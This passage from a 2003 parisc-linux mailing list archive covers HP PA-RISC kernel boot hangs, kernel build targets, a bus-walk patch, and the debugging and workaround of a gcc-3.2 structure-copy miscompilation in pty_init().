<P>How long did you let it wait?&nbsp; Some of the machines prior to the C200 (my C360 doesn't do it either) seem to hang, but after 20 mins take off.&nbsp; It's a bus walk issue that takes forever.&nbsp; There was a patch for this that was posted recently to see if it resolved this issue.&nbsp; Let it sit there for awile and see if it eventually starts booting.
<P>derek
<P>&nbsp;<B><I>Sir Ace &lt;chandler@nateng.com&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><BR>I compiled 2.4.20, and set it up to boot from the new kernel.<BR>Unfortunately it hung, at the<BR>'if this the last message you see' part...<BR>I can't find anything in the FAQ, and I didn't find anything in the bug<BR>liste... The machine is a J210, any ideas? Or what kind of info should I<BR>send?<BR><BR>On Mon, 27 Jan 2003, Sir Ace wrote:<BR><BR>&gt;<BR>&gt; Duh, I forgot that vmlinux gets dropped in /usr/src/linux...<BR>&gt; my bad...<BR>&gt;<BR>&gt; On Mon, 27 Jan 2003, Sir Ace wrote:<BR>&gt;<BR>&gt; &gt;<BR>&gt; &gt; Does vmlinuz work on hp?<BR>&gt; &gt;<BR>&gt; &gt; On Mon, 27 Jan 2003, Randolph Chung wrote:<BR>&gt; &gt;<BR>&gt; &gt; &gt; &gt; make boot doesn't work, and make vmlinux doesn't 
 seem to be right<BR>&gt; &gt; &gt; &gt; either...<BR>&gt; &gt; &gt; &gt;<BR>&gt; &gt; &gt; &gt; What is the target for a kernel build?<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; make vmlinux is the right target for harddisk boot. for network boot you<BR>&gt; &gt; &gt; want make palo<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; randolph<BR>&gt; &gt; &gt;<BR>&gt; &gt;<BR>&gt; &gt; _______________________________________________<BR>&gt; &gt; parisc-linux mailing list<BR>&gt; &gt; parisc-linux@lists.parisc-linux.org<BR>&gt; &gt; http://lists.parisc-linux.org/mailman/listinfo/parisc-linux<BR>&gt; &gt;<BR>&gt;<BR>&gt; _______________________________________________<BR>&gt; parisc-linux mailing list<BR>&gt; parisc-linux@lists.parisc-linux.org<BR>&gt; http://lists.parisc-linux.org/mailman/listinfo/parisc-linux<
 BR>&gt;<BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-183633735-1043730503=:57209--


From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Mon, 27 Jan 2003 23:31:01 -0800
Lines: 44
Approved: news@gmane.org
Message-ID: <20030128073101.GD20940__26870.1595873155$1416622151$gmane$org@tausq.org>
References: <20030126044656.GB6057@dsl2.external.hp.com> <200301260509.h0Q59ntl001762@hiauly1.hia.nrc.ca> <20030127072615.GF8487@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622151 20630 80.91.229.3 (22 Nov 2014 02:09:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:11 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 00:35:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 434DF482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 00:35:43 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D6FEDCDA56; Mon, 27 Jan 2003 23:31:01 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030127072615.GF8487@tausq.org>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17511

> well.... Grant and I did some more debugging on this.... here's what
> we've tried so far:

ok, here's what's happening apparently.... (with many thanks to Grant 
for a sharp eye :)

The pty_init() function does a number of structure copies. e.g.

init_termios is a 36-byte structure.

	pty_driver.init_termios = tty_std_termios;
	pty_driver.init_termios.c_iflag = 0;
	pty_driver.init_termios.c_oflag = 0;
	pty_driver.init_termios.c_cflag = B38400 | CS8 | CREAD;
	pty_driver.init_termios.c_lflag = 0;

gcc translates this to something like this:
    /* %r4 is &pty_driver */
    ldo 28(%r4),%r23
    ldi 28,%r21
    ldw,ma 4(%r22),%r20
    ldw,ma 4(%r22),%r19
    stw,ma %r20,4(%r23)
    addib,>= -8,%r21,.-12
    stw,ma %r19,4(%r23)
    /* ... */
    stw %r0,28(%r4)
    stw %r0,32(%r4)
    stw %r10,36(%r4)
    stw %r0,40(%r4)

When optimizations are turned on, gcc reschedules some of those final 
stw insns above the structure copy loop. When the structure copy 
happens, the values get overwritten. ick.

this was kind of interesting to debug :) but i have no idea how to fix
it. Dave? :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Mon, 27 Jan 2003 23:46:07 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20030128074607.GE20940__17425.0312419192$1416622151$gmane$org@tausq.org>
References: <20030126044656.GB6057@dsl2.external.hp.com> <200301260509.h0Q59ntl001762@hiauly1.hia.nrc.ca> <20030127072615.GF8487@tausq.org> <20030128073101.GD20940@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622151 20635 80.91.229.3 (22 Nov 2014 02:09:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:11 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 00:50:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3BC7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 00:50:54 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 72ABDCDA56; Mon, 27 Jan 2003 23:46:07 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030128073101.GD20940@tausq.org>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17512

In reference to a message from Randolph Chung, dated Jan 27:
> > well.... Grant and I did some more debugging on this.... here's what
> > we've tried so far:
> 
> ok, here's what's happening apparently.... (with many thanks to Grant 
> for a sharp eye :)

there's a temporary workaround in cvs now (2.4.20-pa23). For people
who have seen the crash with gcc-3.2, please give it a try and let us 
know how it goes.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] long booting kernels...
Date: Tue, 28 Jan 2003 01:07:02 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20030128010702.27f05486.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622152 20639 80.91.229.3 (22 Nov 2014 02:09:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:12 +0000 (UTC)
To: rbradetich@uswest.net, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 02:07:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B449482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 02:07:05 -0700 (MST)
Original-Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-msg-core-4.cisco.com (8.12.2/8.12.6) with ESMTP id h0S974ap008614;
	Tue, 28 Jan 2003 01:07:04 -0800 (PST)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.2.1-GA)
	with SMTP id AAW78828;
	Tue, 28 Jan 2003 01:07:03 -0800 (PST)
X-Mailer: Sylpheed version 0.8.1claws3 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17513


Hi Ryan,

yes this solves the problem on the C180. It now takes around 15 seconds
after the first messages until it switches to framebuffer mode. 

Thanks,
	Christian 





Hello,

I finally found some time to test the updated bus walk code on a
parisc-2.4.20-pa22 system.  It works fine for me, but the C200 does not
exhibit the problems seen by others on this list.  I would appreciate if
someone with this problem could test this patch and see if it speeds the
boot time up.

This is the same patch I applied to the 2.5 tree several months ago.

Thanks,

- Ryan


 


From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel....
Date: Tue, 28 Jan 2003 10:07:12 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <E3411039-329F-11D7-90F1-0030656F07A2@esiee.fr>
References: <Pine.LNX.4.33.0301272021470.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622152 20642 80.91.229.3 (22 Nov 2014 02:09:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:12 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 02:07:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47BFE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 02:07:16 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 49FF049C53; Tue, 28 Jan 2003 10:07:14 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id BCEB549C63; Tue, 28 Jan 2003 10:07:12 +0100 (CET)
In-Reply-To: <Pine.LNX.4.33.0301272021470.235-100000@jordan.eng.nateng.com>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17514

For heaven's sake! Everything is written and explained in the 
PARISC-Linux Boot HOWTO.
That goes for Mr Mehta as well...

http://pateam.esiee.fr/doc.html

HTH,

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

On mardi, jan 28, 2003, at 05:23 Europe/Paris, Sir Ace wrote:

>
> Quick question...  I got the box back up and running and everything 
> built.
>
> In PCs it's make zImage/bzImage
> on Alpha's it's make boot
>
> make boot doesn't work, and make vmlinux doesn't seem to be right
> either...
>
> What is the target for a kernel build?
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>




From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Tue, 28 Jan 2003 09:16:03 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20030128091603.GD31789@tykepenguin.com>
References: <20030126044656.GB6057@dsl2.external.hp.com> <200301260509.h0Q59ntl001762@hiauly1.hia.nrc.ca> <20030127072615.GF8487@tausq.org> <20030128073101.GD20940@tausq.org> <20030128074607.GE20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416622152 20644 80.91.229.3 (22 Nov 2014 02:09:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 02:16:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust58.leed.broadband.ntl.com [80.7.68.58])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0991F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 02:16:06 -0700 (MST)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.36 #1 (Debian))
	id 18dRqd-000078-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 09:16:03 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030128074607.GE20940@tausq.org>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17515

On Mon, Jan 27, 2003 at 11:46:07PM -0800, Randolph Chung wrote:
> In reference to a message from Randolph Chung, dated Jan 27:
> > > well.... Grant and I did some more debugging on this.... here's what
> > > we've tried so far:
> > 
> > ok, here's what's happening apparently.... (with many thanks to Grant 
> > for a sharp eye :)
> 
> there's a temporary workaround in cvs now (2.4.20-pa23). For people
> who have seen the crash with gcc-3.2, please give it a try and let us 
> know how it goes.

Works fine for me. 

Thanks VERY much :-)

-- 

patrick



From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Tue, 28 Jan 2003 12:54:23 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <3E35C8BE00000174@ocpmta6.freegates.net>
References: <20030128091603.GD31789@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622153 20648 80.91.229.3 (22 Nov 2014 02:09:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:13 +0000 (UTC)
To: "Patrick Caulfield" <patrick@tykepenguin.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 04:54:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CD69482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 04:54:31 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18dUJx-0006WA-00; Tue, 28 Jan 2003 12:54:29 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 28 Jan 2003 12:54:23 +0100
In-Reply-To: <20030128091603.GD31789@tykepenguin.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17516

Hi all,

>
>On Mon, Jan 27, 2003 at 11:46:07PM -0800, Randolph Chung wrote:
>> In reference to a message from Randolph Chung, dated Jan 27:
>> > > well.... Grant and I did some more debugging on this.... here's what
>> > > we've tried so far:
>> > 
>> > ok, here's what's happening apparently.... (with many thanks to Grant
>
>> > for a sharp eye :)
>> 
>> there's a temporary workaround in cvs now (2.4.20-pa23). For people
>> who have seen the crash with gcc-3.2, please give it a try and let us

>> know how it goes.
>
>Works fine for me. 
>
>Thanks VERY much :-)
>
>-- 
>

Seems to works fine also on my b180.

Great,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Tue, 28 Jan 2003 13:58:16 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <3E35C8BE000001DC@ocpmta6.freegates.net>
References: <3E35C8BE00000174@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622153 20652 80.91.229.3 (22 Nov 2014 02:09:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:13 +0000 (UTC)
To: "Patrick Caulfield" <patrick@tykepenguin.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 05:58:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EBC5482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 05:58:19 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18dVJh-0007IF-00; Tue, 28 Jan 2003 13:58:17 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 28 Jan 2003 13:58:16 +0100
In-Reply-To: <3E35C8BE00000174@ocpmta6.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17517

Hi again,
>
>>
>>On Mon, Jan 27, 2003 at 11:46:07PM -0800, Randolph Chung wrote:
>>> In reference to a message from Randolph Chung, dated Jan 27:
>>> > > well.... Grant and I did some more debugging on this.... here's what
>>> > > we've tried so far:
>>> > 
>>> > ok, here's what's happening apparently.... (with many thanks to Grant
>>
>>> > for a sharp eye :)
>>> 
>>> there's a temporary workaround in cvs now (2.4.20-pa23). For people
>>> who have seen the crash with gcc-3.2, please give it a try and let us
>
>>> know how it goes.
>>
>>Works fine for me. 
>>
>>Thanks VERY much :-)
>>
>>-- 
>>
>
>Seems to works fine also on my b180.
>
Also works on the b2k and more test with ssh, telnet and ftp (do some small
transfer in both in-out).

Thanks again,
    Joel

*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel hang.
Date: Tue, 28 Jan 2003 14:23:40 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <3E35C8BE0000020C@ocpmta6.freegates.net>
References: <20030128050823.57726.qmail@web12507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622153 20658 80.91.229.3 (22 Nov 2014 02:09:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:13 +0000 (UTC)
To: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
	"Sir Ace" <chandler@nateng.com>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 06:23:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44474482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 06:23:45 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18dViH-00043S-00; Tue, 28 Jan 2003 14:23:41 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 28 Jan 2003 14:23:40 +0100
In-Reply-To: <20030128050823.57726.qmail@web12507.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
